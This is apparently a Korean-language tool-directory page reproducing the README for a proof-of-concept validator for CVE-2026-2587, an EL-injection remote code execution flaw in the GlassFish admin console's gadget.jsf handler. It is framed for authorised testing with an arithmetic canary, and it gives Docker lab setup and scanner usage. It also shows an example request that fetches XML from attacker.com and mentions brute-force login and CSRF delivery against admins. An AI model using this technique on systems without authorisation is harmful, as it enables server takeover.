Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoC 검증기: Eclipse GlassFish 관리 콘솔 gadget.jsf 핸들러의 EL 주입 RCE. 승인된 테스트를 위한 안전한 인증된 취약점 스캐너. | Kitploit
도구/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
Vulnerability ScannersDynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
Labs & Practice
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoC 검증기: Eclipse GlassFish 관리 콘솔 gadget.jsf 핸들러의 EL 주입 RCE. 승인된 테스트를 위한 안전한 인증된 취약점 스캐너.

저장소 보기웹사이트
1104개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL 주입 RCE 검증기

CVE-2026-2587에 대한 안전한 PoC 검증 도구로, Eclipse GlassFish 관리 콘솔 가젯 핸들링에서 /common/gadgets/gadget.jsf를 통해 발생하는 치명적인 EL 주입/RCE 문제입니다.

이 도구는 승인된 환경에서 무해한 산술 EL 카나리를 사용하여 GlassFish CVE-2026-2587 노출 여부를 보안 팀이 검증할 수 있도록 돕습니다.

할당: Eclipse Foundation (CNA) · 게시일: 2026년 5월 19일 CVSS: 9.6 치명적 · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — 표현식 언어 주입 영향받는 버전: 알 수 없음 (2026년 5월 21일 기준 공개 권고) 패치된 버전: 알 수 없음 (2026년 5월 21일 기준 공개 권고) 스캐너 규칙: 버전은 라우팅/보고 컨텍스트일 뿐이며, 판결에는 증거가 필요합니다.


목차

  • 취약점 요약
  • 작동 방식
  • 인증 요구 사항
  • 설정
  • 실험 환경 (Docker)
  • 프로브 XML 생성
  • 사용법 — 단일 대상
    • 로컬호스트 / Docker
    • 자격 증명
    • 무차별 대입 로그인
    • Cloudflare Tunnel을 통한 원격
    • 사전 호스팅된 정적 XML
    • ngrok을 통한 원격 (최후의 수단)
    • 인증되지 않은 확인만
  • 사용법 — 다중 대상
    • 대상 파일 형식
    • 병렬 스캔
  • 출력 형식
    • 콘솔
    • CSV
    • JSON
    • 출력 결합
  • 고급 옵션
    • 엔드포인트 및 버전 탐지
    • 사용자 정의 카나리 값
    • 사용자 정의 헤더
  • 테스트 케이스
  • 출력 해석
  • 수동 검증
  • 수정
  • 참고 자료
  • 면책 조항

취약점 요약

GlassFish 관리 콘솔 가젯 핸들러에 치명적인 원격 코드 실행 취약점이 존재합니다. 애플리케이션은 gadget= 쿼리 매개변수를 통해 제공된 URL에서 가져온 .xml 파일을 처리하고, <ModulePrefs> 속성 내의 사용자 제공 값을 Java 표현식 언어(EL) 엔진을 통해 삭제나 이스케이프 없이 평가합니다.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

XML이 `<ModulePrefs title="">` 속성에 `#{7*7}`을 포함하면, GlassFish는 서버 측에서 이를 평가하여 `49`를 반환합니다. 이는 EL 실행을 확인하는 것입니다. EL이 Java 런타임에 접근할 수 있으므로 전체 RCE 체인이 이어집니다.

현재 공개된 권고 기록은 영향을 받거나 패치된 버전 경계를 공개하지 않습니다. 따라서 이 검증기는 증명 우선(proof-first) 방식입니다. GlassFish의 지문을 수집하여 버전 메타데이터를 보고하지만, 버전 문자열만으로 대상을 취약하다고 분류하지 않습니다.

---

## How It Works

![CVE-2026-2587를 위한 안전한 검증 워크플로우](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

안전한 검증 경로는 무해한 XML 프로브를 호스팅하고, 인증된 관리 콘솔 요청을 `gadget.jsf`에 전송하며, GlassFish가 콜백 URL에서 해당 XML을 가져오도록 한 후, `<ModulePrefs title="">` 카나리가 `#{7*7}`에서 `49`로 평가되는지 확인합니다.

**인젝션 포인트 확인 vs. 미확인:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

인증 요구 사항

시나리오인증 필요?
gadget.jsf에 직접 접근예 — FORM 인증, 200 로그인 페이지
실제 CSRF 공격아니요 — 관리자의 활성 세션을 무기화
이 검증기예 — --cookie 또는 --username/--password
인증되지 않은 노출 확인아니요 — 스크립트가 자동으로 테스트

CVSS 벡터 PR:N / UI:R 의미:

  • PR:N — 공격자는 자신의 자격 증명이 필요 없음
  • UI:R — 로그인한 관리자가 상호작용해야 함 (CSRF 전달)

실습 검증의 경우 CSRF를 건너뛰고 — 자신의 관리자 세션을 직접 사용하십시오.


설정

요구 사항: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

**저장소 내용:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

실험 환경 (Docker)

주의: GHSA는 여전히 영향을 받는 버전과 패치된 버전을 알 수 없음으로 나열합니다. omnifish/glassfish:7.0.15는 강력한 실험 후보입니다 — 반드시 취약한 빌드라는 보장은 없습니다. 검증 기본 요소는 여전히 산술 카나리입니다: #{7*7}이 49로 평가되면 EL이 활성화됩니다.

옵션 A — docker compose (권장)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

GlassFish 7.0.15를 실행하며, 포트는 `127.0.0.1`에만 바인딩되고 `host.docker.internal`이 사전 연결되어 컨테이너가 로컬 XML 서버에 접근할 수 있습니다.

### 옵션 B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

관리 콘솔: https://localhost:4848 · 로그인: admin / admin (자체 서명 인증서 — 브라우저 경고가 예상됩니다.)


무해한 프로브 XML 제공

두 번째 터미널에서:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

컨테이너의 관점에서 도달 가능성을 확인하십시오:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

수동 트리거

먼저 관리자 콘솔에 로그인한 후 (브라우저 세션 또는 --cookie), 그 다음:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

| 출력 | 의미 |
|---|---|
| `CVE2587_TITLE_49_END` | **취약함** — `ModulePrefs title`에서 EL 평가됨 |
| `CVE2587_BODY_49_END` | **취약함** — CDATA 본문에서 EL 평가됨 |
| `CVE2587_TITLE_#{7*7}_END` | 취약하지 않음 / EL 평가되지 않음 |
| *(출력 없음)* | GlassFish가 XML을 가져오지 않음 — 콜백 접근 가능성 확인 |

> 일반적으로 취약한 빌드에서도 CDATA 본문은 원시 상태로 유지됩니다. `TITLE` 결과만 양성이면 해당 발견을 확인하기에 충분합니다.

---

### 로컬 랩에 대한 자동화된 검증```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

프로브 XML 생성

저장소에는 바로 사용할 수 있는 probe.xml이 포함되어 있습니다. 또한 언제든지 새로운 XML을 생성할 수 있습니다. 이는 사용자 지정 카나리 접두사나 무작위 값을 원할 때 유용하며, 각 작업에 대해 프로브를 고유하게 만들 수 있습니다.```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

파일에 쓴 후 출력:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

사용법 — 단일 대상

Localhost / Docker

GlassFish가 동일한 머신의 로컬 또는 Docker에서 실행 중일 때 사용합니다.

관리 콘솔에 로그인한 상태에서 브라우저 DevTools → Application → Cookies에서 JSESSIONID를 가져온 후:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

도구 다운로드